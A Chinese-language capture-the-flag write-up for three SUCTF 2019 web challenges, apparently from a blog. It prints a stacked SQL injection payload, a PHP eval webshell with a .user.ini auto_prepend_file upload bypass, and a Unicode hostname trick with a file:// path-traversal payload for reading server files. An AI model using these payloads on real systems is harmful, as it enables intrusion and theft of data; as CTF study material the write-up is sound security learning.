SUCTF2019部分Web writeup

Easysql(堆疊注入)

2019強網杯有一道也是用的堆疊注入,這個也是,但是過濾的很嚴

1;show databases;
1;show tables;
這兩個可以正常執行,拿到table名爲Flag。

無論輸入什麼數字,最後返回的都是1,說明後臺有所處理,輸入0的話無返回結果。

from、or等都被過濾了

post方式傳遞,得到輸入,然後執行語句,需要對後臺sql語句進行猜解

從數字返回1來看可能是有一個邏輯運算||,set sql_mode=pipes_as_concat可以讓系統把||識別爲連接符,猜解是比較難的,我就只能看wp了。。。

正確猜解:
$sql = “select “.$post[‘query’].”||flag from Flag”;

解法一:
1;set sql_mode=pipes_as_concat;select 1
||成爲連接符之後就是select 1||flag from Flag,就查詢出flag了。

解法二:
大佬們blog上都說是非預期解
輸入*,1
後面的數字是幾都可以,拼接之後是select *,1||flag from Flag
這樣也能拿到flag

CheckIn(ini文件上傳漏洞)

上傳繞過的題,ini的配置文件上傳還是第一次見

1、普通木馬嘗試

拿普通的圖片馬進行上傳了下,沒有修改後綴,頁面返回
<? in contents!
說明<?是不允許存在於文件中的,然後使用script進行繞過:

<script language='php'>@eval($_POST[shell]);</script>

2、後綴修改繞過

然後對後綴進行修改然後上傳,頁面返回
illegal suffix!

然後用burp的爆破對各種可繞過的後綴都進行嘗試,所有的後綴都不行,後綴修改是繞不過了。

3、ini配置文件上傳

從burp可以看到,網站服務器爲並不是Apache,那麼.hatcess後綴的文件解析漏洞也就不可用了。

這裏用到的是ini配置文件的上傳,ini配置文件是什麼呢,知識點來了。

我們從php.ini說起:
php.ini是php默認的配置文件,其中包括了很多php的配置,這些配置中,又分爲幾種:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-r1MqyTUp-1574861105000)(en-resource://database/6222:1)]

從官方文檔https://www.php.net/manual/zh/configuration.file.per-user.php可以看到:

自 PHP 5.3.0 起,PHP 支持基於每個目錄的 .htaccess 風格的 INI 文件。此類文件僅被 CGI/FastCGI SAPI 處理。此功能使得 PECL 的 htscanner 擴展作廢。如果使用 Apache,則用 .htaccess 文件有同樣效果。

除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 文件,從被執行的 PHP 文件所在目錄開始一直上升到 web 根目錄($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被執行的 PHP 文件在 web 根目錄之外,則只掃描該目錄。在 .user.ini 風格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 設置可被識別。

也就是說,user.ini就是一種用戶自定義型的php.ini

我們能夠自定義的設置是模式爲“PHP_INI_PERDIR 、 PHP_INI_USER”的設置。(上面表格中沒有提到的PHP_INI_PERDIR也可以在.user.ini中設置)實際上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通過.user.ini來設置的。

而且,和php.ini不同的是,.user.ini是一個能被動態加載的ini文件。也就是說我修改了.user.ini後,不需要重啓服務器中間件,只需要等待user_ini.cache_ttl所設置的時間(默認爲300秒),即可被重新加載。

php.ini中的配置項,只要稍微敏感的配置項,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等.

如果是用user.ini,因爲我們可以對其進行動態的修改,於是可以像上傳.hatcess配置文件一樣上傳並利用圖片文件構造一個後門。

下面是ini文件的幾個配置項
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-y2nRNP9p-1574861105001)(en-resource://database/6224:1)]

auto_append_file、auto_prepend_file可以瞭解一下
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-xjQNpDzP-1574861105002)(en-resource://database/6226:1)]

指定一個文件,自動包含在要執行的文件前,類似於在文件前調用了require()函數。而auto_append_file類似,只是在文件後面包含。

這樣我們創造這樣的一個ini文件之後,就可以藉助.user.ini輕鬆讓所有php文件都“自動”包含某個文件,而這個文件可以是一個正常php文件,也可以是一個包含一句話的webshell。

對於這個題,上傳的.user.ini文件的內容爲:

#define width 20
#define height 10

auto_prepend_file=shell.jpg          //讓php文件包含shell.jpg

然後把.user.ini文件進行上傳,發現可以成功:
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-KMzoqMkC-1574861105003)(en-resource://database/6228:1)]

然後再上傳shell.jpg:
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-OAfrwyvR-1574861105004)(en-resource://database/6230:1)]

可以看到給出了文件上傳的目錄:
uploads/3f8c45add7e4722d7a34d2fea8c87504
然後這個文件夾下會有一個index.php文件,訪問這個文件的時候shell.jpg也被包含進去了,所以蟻劍可以直接連index.php拿flag,或者可以上傳一個命令執行的馬去執行system(‘cat /flag’)也可拿到flag。

Pythonginx(文字字符替換英文字符繞過)

開局給源碼:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>    <!-- Dont worry about the suctf.cc. Go on! -->   
    <!-- Do you know the nginx? -->

結尾給出的信息,url應該是suctf.cc,還有就是和Nginx有關。

代碼的意思是如果url經過判斷,前兩次的host不是suctf.cc,最後一次的host是suctf.cc的話,就會訪問url並顯示結果。。。

這個是字符的問題,解決方法是使用文字符號ℂ代替c,Unicode中的文字符號:https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols,可與使用代碼測試一下,文字符號ℂ經過兩次的if判斷和其中的函數處理之後就變成了c。
這樣的話使用file://就可以進行文件讀取了,上面還說到和Nginx有關,可以讀取Nginx的配置文件試試看

payload:/getUrl?url=file://suctf.cℂ/…/…/…/…/etc/nginx/conf.d/nginx.conf

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
}

是uwsgi服務器實現的,但是好像也沒有什麼有用的信息,對於用戶安裝的程序來說,在/usr/local用戶目錄下會有程序的信息,/usr/local/nginx/conf/nginx.conf也是Nginx的配置文件,文件讀取得到:

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }

得到flag地址:/usr/fffffflag
接着讀取就拿到flag了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章